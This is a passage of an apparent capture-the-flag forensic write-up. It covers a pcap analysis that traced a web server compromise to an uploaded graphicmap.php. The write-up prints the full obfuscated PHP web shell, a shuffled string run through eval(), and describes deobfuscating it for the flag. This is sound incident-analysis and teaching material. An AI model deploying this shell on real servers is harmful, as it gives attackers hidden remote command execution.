960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d4d417d5d444a46f9686e12bcfb8f096/8ff5a/image-20230328190620744.png 240w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/e85cb/image-20230328190620744.png 480w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/d9199/image-20230328190620744.png 960w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/e4900/image-20230328190620744.png 988w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d4d417d5d444a46f9686e12bcfb8f096/d9199/image-20230328190620744.png\"\n            alt=\"image-20230328190620744\"\n            title=\"image-20230328190620744\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"roten-forensic\" style=\"position:relative;\"><a href=\"#roten-forensic\" aria-label=\"roten forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Roten (Forensic)</h2>\n<blockquote>\n<p>The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.</p>\n</blockquote>\n<p>We were given a pcap file and asked to identify evidence of how the site was compromised.</p>\n<p>After reviewing objects in Wireshark, we confirmed that a file called <code class=\"language-text\">graphicmap.php</code> was being abused for RCE.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 919px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/11972b26101685ec8bf82a62770dd792/6295b/image-20230321115516916.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 30%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4klEQVQY022Q3U7DMAxG+/6vBgINmEaXnyZO4gAZIFpYpThr+SYuuNgsX0SRj3w+dzmzMVorNVjrBhdjJKLWmkh1znFKRunjcV6vVZeYQaq9smfYh5iIggBu4pynEDO/SJVLcgG8NeH2sb952N9t9f3OPumw6V35buWn4bF5HnaWqUx0mHwZ0e71i95G/pw/5rVjZmsgbuDsPUEE5oK9rWEzfshRSpkzEnBMyZ/leJymZVm7GMO+79EIjtgUKIRwaicRATrY4VDerzgDhTZGNUrp/4N5X2uVWjOOyVxK+Ru9rF8IPUvmiY7GxQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/11972b26101685ec8bf82a62770dd792/8ac56/image-20230321115516916.webp 240w,\n/static/11972b26101685ec8bf82a62770dd792/d3be9/image-20230321115516916.webp 480w,\n/static/11972b26101685ec8bf82a62770dd792/5041b/image-20230321115516916.webp 919w\"\n              sizes=\"(max-width: 919px) 100vw, 919px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/11972b26101685ec8bf82a62770dd792/8ff5a/image-20230321115516916.png 240w,\n/static/11972b26101685ec8bf82a62770dd792/e85cb/image-20230321115516916.png 480w,\n/static/11972b26101685ec8bf82a62770dd792/6295b/image-20230321115516916.png 919w\"\n            sizes=\"(max-width: 919px) 100vw, 919px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/11972b26101685ec8bf82a62770dd792/6295b/image-20230321115516916.png\"\n            alt=\"image-20230321115516916\"\n            title=\"image-20230321115516916\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We decided to identify when this file was uploaded and read its contents.</p>\n<p>Extracting the uploaded <code class=\"language-text\">graphicmap.php</code> revealed an obfuscated script embedded inside:</p>\n<div class=\"gatsby-highlight\" data-language=\"php\"><pre class=\"language-php\"><code class=\"language-php\"><span class=\"token php language-php\"><span class=\"token delimiter important\">&lt;?php</span> \n<span class=\"token variable\">$pPziZoJiMpcu</span> <span class=\"token operator\">=</span> <span class=\"token number\">82</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$liGBOKxsOGMz</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">array</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"\"</span> <span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"&lt;nnyo ea\\$px-aloerl0=e r\\$0' weme Su rgsr s\\\"eu>\\\"e'Er= elmi)y ]_'t>bde e e  =p   xt\\\" ?ltps vdfic-xetrmsx'l0em0  o\\\"oc&amp;'t [r\\\"e _e;eV.ncxm'vToil   ,F y\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"&lt;r s -&lt;a  \\\"op r_P&lt; poeeihaeild /ds\\\"se4bsxao1: r]du ;e\\$'o,t dn\\n)i\\$'me'maoate{e  I!lb>'u btde .sr ege/ han:t\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"elrlenjl t>( 0'eCdd0  l et0\\n'seu u it ;e_ dc>ulUd'T\\nxe\\$L&lt;er&lt;.l oh>c  ii aert pdt iai(ed.QiJr\\n\\$i0; 0\\\"e0' d= ex ].xp\\$r re \\nwSn'u&lt;lup ]o iluE/=>b\\$t r>\\n\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"h rxn ltmb \\n'-aodd') bubaa\\nff0 i0] )- [ &amp;\\\"4 ==e[wn (r #iEa tftelF)U sspSb\\\"'rd  dO o e_t ppso \\n]DpneaC;aoesvp\\ni( }f0 &amp; ' \\\"( ]0 =sc'o  \\$s #nRmaeoi=oi)p te\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"l[>c;>ia ew   agP aw(d i;ep:rto\\nnor/a/&lt;l )\\n( = ?;\\$r\\$0 0 'puwr\\$\\$d\\\" fgVeu'rp'al l s o'&lt;o\\n&lt;rs rn \\\" leeetu\\$y f\\nsl (en dtyjS3?e\\$   ) 0 \\ngem0=  xrtrlsdi; l E=t>ma\\\"d\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"e{o  iafbl\\nb. }ee &lt; ptrchid>   cia''t  s qc.p)m{ \\$ (0' rao0 ) 'ieid;ir\\n adR'o\\\\ r.''\\na ifdiro >'\\$\\ndr&lt;t apmh(di\\\" ( rctE)\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"e mtlur3h;o  m{\\$2x odd0(  )n't[\\nr)  gi[dcnat\\$   d n Dl>r R k}\\\"&lt;tr twso\\$(r; i iatx;n iriei.p\\nd\\$ o m0' u\\\"e1\\$\\$ \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" t]e'} ) } r'io\\\"c/_in '  (ie': e&amp;e\\n>/b> hu( df)\\n s ptap\\nt nabrp6\\n et d\\$o0  p] )ogi?f)'r\\n=  \\n=ePrm;tfGda\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" ]e\\\"mrT;r s&amp;ye\\nto\\\" (i\\$\\\"ii e s tici - ipryt/\\n  y etd): [ &amp; wrf (;]e\\n {   cH'p\\nioE=m [c.oeo\\ne u  c hd; \\$dd&lt;rl.c e iohr L fca/ jf &amp;p  ye   \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"\\\"= ?no('\\\"\\n,a\\n\\$\\n  HtP leorT'e 'h\\$vcU d l'=h >y\\n d(it.e h t onme e idr1-su  e &amp;p ?' e 0 eu t%  d\\$_   To_vecnm[f= nouetp \\\" t.\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\">o \\n> eifrd'o\\\"o ( n/es n eny.-/n 0=e e&amp; - x(0'rp\\$'1 \\$'dP   BrSath=-'i' a p_ol >  \\$    \\n cri)>/w&lt;  \\$i:on: g \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"d. 1>bc x'l0= ''\\$e\\$0x[[m s g]iO   {yEleo'ddls m\\\"luro E}o_\\$\\\"&lt; &lt; h.l &lt;'n/\\\" _f ct  t  c-2\\not 2dsx'0w;gcm0''\\\"o:% r,rS   W Lu= \\\"aieu\\$e&lt;opya r\\nfG\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"v&lt;t ? o'e.a.et&lt; G Ft;0 h Co-.&lt;oi 0'eAs0'\\nruo2 eed 1 o  T   0\\\"Fe'\\\".trTbu'bal)d r\\n Eabh p  /o  \\$rd/ E(ie ' :eSm>2stoi0; 0'4  otd):xxe's u\\$=[ \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"  w '=o&lt;\\$a'omp]rdo)' o}cTlre h \\\"'w\\\"hv(>t Tfltf)  xS/\\n/csnf0 i0;0: uee  ee T% pw '  \\$_.]\\\"f/_']Uil)>Da ] r\\no[u>a p &lt;.n&lt;ra\\$\\\\a [ie-i; 'i b&lt;jrt ( }f0 0  \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"p\\\" ?'cc&amp;'1 [o\\$d  dR ..ffS>.pto;&lt;id{[} \\nm'e\\\"d \\n t\\$e/eldnb 'l sl\\n  t-osqirp )\\n( })' []&amp; -uu ;s\\$'r_ii iO\\$\\\"\\$'oE\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"\\\\\\\"l'a\\nbre\\n' uimc);> fidvrtfui\\\"l deTte  .;-ocupar\\$   )\\n - \\\"  ''tt0\\n\\\"selGrf rtd'd rRn'o>d red nepfam \\n\\n&lt;o\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"f>a(d=er;e o_rrn h \\n>tretpim{ \\$  ?' w=0w;eex ,.xdE'   _i iamV\\\"/a\\\"D >c_ all nd{? tr &lt;l\\$>').\\n> weaea ef \\nsir .no  \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"m{  ; r 0'\\n'\\\"2  =e[T](\\$=Armru>E;>d;i &lt;tf mso(d'\\n> he(aud\\\\\\\" ' \\\" nxnam ai &lt;tpysmtd\\$ o  '\\n i(0  ]]0 \\$sc'[;if _ e.t\\\"R\\n '\\nr boi eeai ] \\n >ai ein../ ; lisme \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"dl lrt.riPet d\\$ r \\$t\\$0: = 0 opuw'\\nsi'D.t\\\"o;[e\\\">ee  rl ' dse, \\n Pcsh)r\\\"  ' \\n osf'= ee ia mcne y et ' gem4  ==  wrtrd}_l.a h f\\n'c;\\\\cc sye ]{isx  &lt;\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" eh_r .;\\$\\\". \\n ate)\\\" rs npsi=.r&amp;p  y   r\\\"o)' ' ) nieii\\nfe/Y\\\"o/oePh\\nnht t.( .\\nnee\\$ t r de.'\\n_'\\$ \\n dsr;' (i k/rn\\\"jm e &amp;p : o]d - x(  en'tr\\$i '}&lt;d>ccHoe&lt;o\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"o y\\\"\\$ ' gtcc a&lt;m(if / S>v ? '('\\n. 'z  3c.hss0=e e   u e?' '\\$\\$ rt]e'fl=;\\n/=\\\"uhP cb ril._    (um bti\\$r=\\\"' E\\\"a > ]\\$) b Pe r.=jt\\\"(x'l0=e' p=  ; )gw\\$[f)']ie \\n\\$h\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"';so_\\\"hr\\\"yfe&lt;F u f\\$td lrsd('/. R.l \\n )f; a r(}e3\\\"st>\\$1csx'l- [ &amp;'\\n  ros'(;];l(\\$}d2G\\n> S&lt;o>&lt;  =/I p i_ir e>sir\\\"'\\$ V u}\\n )i\\n s a\\$\\nl.h\\\"p&lt;f0'e8l\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"s' \\\"( r i?or=r\\\"\\n,\\ne\\$d\\ni>Ee\\\\\\\"Ei &lt;/=('bL l lGoe  \\nire.>v E\\$e\\n\\n  l  ehgf}=6t>:/i0; 0'e;\\$r\\$0' f ulse%  i di\\$r\\\"Tcn\\\\Ln\\\"id fc>E o eEns c osa \\\"a Rv) \\n {e\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"  nemi\\n\\\"/t&lt;/sl0 i0; \\noem0  ('pdpa1 \\$f=irds;'h&lt;nFp&lt;ni\\$io&lt;S a  T:u l n l\\$.l [a) &lt; \\n)  aaal\\nscp//ce }f0 \\$ wao0:  s[[rds w  r;i \\n>o\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"i&lt;'uipvdll/[ d '[ l a sap_ u 'l[ /  )  md:e?tsssmr))\\n( }t ndd1  \\$''\\\"i'% o(')\\nr=e\\\" nb]tnu>ieob' e .'&lt;t s &lt;saS\\$e}Pu\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"n d     ee )>ys:cai    )\\ny e\\\"e0' m een]1 ri')   c;\\\"pr. pt\\\"r_rrfed \\$c/) s / tEv)\\nHea i  {  (rp)\\nl//rxp{{ \\$  p r] )- o:xxt,s ls;  =sh\\n&lt;u>\\\"tu\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" ;.e:>ic  umb; = t\\$hRa) P m v  \\n  \\$(u;\\neb/ict\\n  m{ e [ &amp; ' d eef % ds\\n{  coeit\\\\'ytt\\n'xr&lt;lhs pd>\\n \\\" hk(Vl[ _.e >     f'b\\n&lt;soapd> \\$ o  = \\\"=\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" ?;\\$e'cc(\\$1 [ei\\n ra cn n p y\\n/ie/eou l'&lt; et >e\\$Eun S ] \\n     iCl hhojtn\\n t d\\$ ' e 0 \\nw Suu\\\"os\\$'tf  en\\\"hpt&lt;metpi'sdbT c o]b ca\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"&lt;\\nydRea E\\\" e&lt;    hlai teta>.\\n y et u x(0' o&amp;'tt%w\\\"se(   ad\\\\ouyde=yef.t'ro'c a)r hbt  i[ m L&lt;.c/    eecc mesx\\nb&lt; p  y '\\$e\\$0x r ;ee1n,.x\\$(  lin tpit'p\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"= bs>>U&lt;e d)> olh =r'.e F/\\\"hh \\$  a)h' ltt.\\nod e &amp;p ;ocm2' l0\\n'\\\"se =e_\\$  pr&lt;\\\" evhhe'(a(E\\\"pbseD \\\"  e> >.P ] 'a&lt;ot f hd.e) >\\\"r\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"g&lt;oi =e e \\nwuo0  dx ]]\\\"r\\$scPd  a(b&lt;t= oi=sis\\$r;lrsci{; \\\" N  'H\\\"  ]>/ m i ee'-; \\n ao!tv 'l0=e ntd): [8 = ,[gpuOi  t\\$riy'cdd'useur\\no>fhr\\n\\n \\$ta \\$/P&lt;.e &lt;t\\\"\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"l l ar\\\"C\\n &lt;hpo-s  psx'l eee   \\\"0 == 'rrtSr  hd>npsl=dfbsnpo a&lt;uoe   vam v'_/ l./d&lt;> e d('o  !r.g-tc\\$'e6-s r\\\" ?' e0 ' \\$woieT   (i&lt;peua'eime\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"alr dbl c  fabe&lt;a.Sa\\\"s t>/    e')n  -eml rlm; 0'e []&amp; - x  x(trun'[=  \\$rfu=bsPnlitmo. 'rl't  oll&lt;/l\\$E>&lt;e\\\"d&lt;t  = rC;t  -fieLaao i0;  \\\"  ''\\$e) \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"'\\$yipt]'=  d)ot'msO'et(ea  ]>y&lt;o  rue/tuvL&lt;/ ?>tr    (o\\nr   =naapsd}f0 i w=0w;wc  )wpt[f)d   i;r ti=S ''\\$(dF [&lt; br  ee-treaF/t{d&lt;d>  \\$h\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"'n o  L\\\".ptcse\\n( }f r 0'\\nou\\$  oee'(;iN  r\\nmtet'Tn  _\\$Di 'biry  a hh>)l'td\\not>\\\"  _eCt l rahcied=   )\\n( i(0  rtoi?r)'r\\\"\\nrU e.e yx'n'anvP_il t>n>.  c\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"\\\\o>\\n u]d> wd ;  Gaoe : ettsssn\\\"= \\$   \\$t\\$4: lewf l;]e% 'L c'capt a maaOFre mF &lt;'  hnv\\n {e >&lt; n>\\\"\\n  Ednn   aets.t.c  m{ \\$oem0  d\\\"n('d\\n,a1 ]L h/hce'vveemlS\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"Ie }pi'b&lt;ee &lt;e  \\n).&lt;t l\\\" }  Tett m dsp\\\"c cof o  mw\\\"o)' []e s[  ds )  o'ot= abn=euTLca\\n_l.r/cx(br   ) td o..\\n  [re- u ft:>oconi d\\$ on]d - \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"\\\" r\\$'' \\$'% )oe . i'nlac'=e[Etl ne\\$>bhe\\$r    )\\\"d> a  e  '(nD s i /\\nmomtl et de e?' w=[m e o]1  rc\\$\\$\\\"ohaurtd'='Sor a d&lt;>occ>t &lt;  ?>  dppc  d\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\"'ti t lc/\\n/m/ae  y er=  ; r \\\"o:x w,s { hfv&lt;nime-yif's[re m'ib&lt; (m\\\"a / {d\\\"\\\" =orh  oC-s -heom&lt;apbip &amp;p  [ &amp;'\\n i(ed e n % \\n!oiah=de=fpriUu'ya e.r b\\\"'d;b t\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$iyzQ5h8qf6</span> <span class=\"token operator\">.=</span> <span class=\"token string double-quoted-string\">\" \\ni.  \\\"sio  woTp re(ma!jionee e &amp;\\\"( r \\$t\\$xe'c e\\$1  i ll2'd='oe'lpbf)d '\\$.sr&lt;cr\\nl h  r . .in   \"</span><span class=\"token punctuation\">;</span> \n<span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$i</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">&lt;</span> <span class=\"token variable\">$pPziZoJiMpcu</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span><span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token variable\">$liGBOKxsOGMz</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$i</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">&lt;</span> <span class=\"token punctuation\">(</span><span class=\"token function\">strlen</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$iyzQ5h8qf6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token variable\">$pPziZoJiMpcu</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span><span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$r</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$r</span> <span class=\"token operator\">&lt;</span> <span class=\"token variable\">$pPziZoJiMpcu</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$r</span><span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token variable\">$liGBOKxsOGMz</span><span class=\"token punctuation\">[</span><span class=\"token variable\">$r</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">.=</span> <span class=\"token variable\">$iyzQ5h8qf6</span><span class=\"token punctuation\">[</span><span class=\"token variable\">$r</span> <span class=\"token operator\">+</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">*</span> <span class=\"token variable\">$pPziZoJiMpcu</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span> \n<span class=\"token variable\">$bhrTeZXazQ</span> <span class=\"token operator\">=</span> <span class=\"token function\">trim</span><span class=\"token punctuation\">(</span><span class=\"token function\">implode</span><span class=\"token punctuation\">(</span><span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$liGBOKxsOGMz</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> \n<span class=\"token variable\">$bhrTeZXazQ</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"?><span class=\"token interpolation\"><span class=\"token variable\">$bhrTeZXazQ</span></span>\"</span><span class=\"token punctuation\">;</span> \n<span class=\"token keyword\">eval</span><span class=\"token punctuation\">(</span> <span class=\"token variable\">$bhrTeZXazQ</span> <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> \n<span class=\"token delimiter important\">?></span></span></code></pre></div>\n<p>By removing only the <code class=\"language-text\">eval</code> call and executing the rest, we deobfuscated the script and retrieved the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 501px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/036a890753e2ff52cf2bc00167d77dc2/55811/image-20230321120921048.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 85.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAACwklEQVQ4y4VSS08TURSe36CJREpfKMGkCLS1jA2IS0sV3PgjXNhWXBrcmKiJCZTiwqULMcrCxI2JcSPRhTHRxMQY7AzM+33n/WwjUc+0IiwMnHxzc+659zv3nO8Mxqg/SOFrWyNYV5ACsfPL8Hd1fxd5u8iPoe8B7UEPYPsTwYotrl1dXFtotOYbawv11cs3li/VV+dqzcqtVhWcRqvaWK02Virg3AS/OVdvztWWK7WVSn2limWzw2dGc+nh3OnRfDI9cuL4scTQQDJ1MpUYSGcGAanM4Mip5HB2KJkazKQTmewQBDPZRDIxgOHlUvkCnsdxfPbiRKkwNj6Cl4t4eRLHJwr53PRs8dzU+MxMYeb8xPR0vnju7GQ+VyqOTZUnp0rjWOv19bsvr91+UV3auHJnY772pPBss0ly5meS3aK57zT/jRbanLDFip8IjuRFVZVlWZJkSVFk7NXHx0/f3VvfvL+++eD5+4eP3ix92fkQdn+bfugGkRt0AF4Q+WEHeZEbRt1ut9Pt9ldMlXQTObbhGcjxTO8tEUlG4DuW6zqe6x6EDx9EHSf+eivmBW4M3w1Cz7DQNrMDhTEMo5tmGEZBuG9BDwcN8zwvCOJgFEWWZVEMw/Mcz/P9+OH2l2wYhmXZUJXtOLbtgOP7/tFkuAev6j0DAmzjQqIorvNIsiiIpmXCyzABUZJUVbUdG8YABl0cngKjqB2aphRFIdsESRAURUs9Az2h8D4Z5Pg/meM4eFyWFQZyAJVhFEWFN4FpGHpvOK5uGCDNP633yYIgQLmcILAsDIjmeI6macgFvxFBtOGU43iaYRHSQEnoS1E1hBCoC8pgoigqssLzgsDzMZ1lSHIbmHE7DK0qCkUDl4WM/XagQdM0bduG6jC4L4kSCySakiUZsoJ6SEeaqoH+IKSmKsDRkGaYME4LFIUjiEu89AdN/yqkIEo3wwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/036a890753e2ff52cf2bc00167d77dc2/8ac56/image-20230321120921048.webp 240w,\n/static/036a890753e2ff52cf2bc00167d77dc2/d3be9/image-20230321120921048.webp 480w,\n/static/036a890753e2ff52cf2bc00167d77dc2/52d01/image-20230321120921048.webp 501w\"\n              sizes=\"(max-width: 501px) 100vw, 501px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/036a890753e2ff52cf2bc00167d77dc2/8ff5a/image-20230321120921048.png 240w,\n/static/036a890753e2ff52cf2bc00167d77dc2/e85cb/image-20230321120921048.png 480w,\n/static/036a890753e2ff52cf2bc00167d77dc2/55811/image-20230321120921048.png 501w\"\n            sizes=\"(max-width: 501px) 100vw, 501px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            